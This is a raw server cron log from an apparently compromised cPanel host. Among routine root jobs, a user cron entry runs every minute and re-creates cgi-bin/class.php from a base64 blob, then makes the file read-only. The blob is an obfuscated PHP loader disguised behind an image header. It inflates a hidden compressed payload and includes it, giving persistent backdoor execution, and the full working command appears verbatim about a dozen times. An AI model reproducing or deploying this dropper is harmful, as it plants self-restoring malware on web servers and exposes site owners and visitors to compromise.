Nov 14 16:56:01 server CROND[30578]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:57:01 server CROND[31462]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 16:57:01 server CROND[31461]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:58:01 server CROND[31937]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:59:01 server CROND[32760]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:00:01 server CROND[1188]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 17:00:01 server CROND[1190]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 17:00:01 server CROND[1189]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 17:00:01 server CROND[1191]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:01:01 server CROND[2112]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 17:01:01 server CROND[2113]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:01:01 server run-parts(/etc/cron.hourly)[2112]: starting 0anacron
Nov 14 17:01:01 server run-parts(/etc/cron.hourly)[2126]: finished 0anacron
Nov 14 17:02:01 server CROND[2880]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:03:01 server CROND[3744]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:04:01 server CROND[4645]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:05:01 server CROND[5531]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 17:05:01 server CROND[5529]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:05:01 server CROND[5530]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 17:05:01 server CROND[5532]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 14 17:05:01 server CROND[5533]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 17:06:01 server CROND[6491]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:07:01 server CROND[6999]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:08:01 server CROND[7870]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
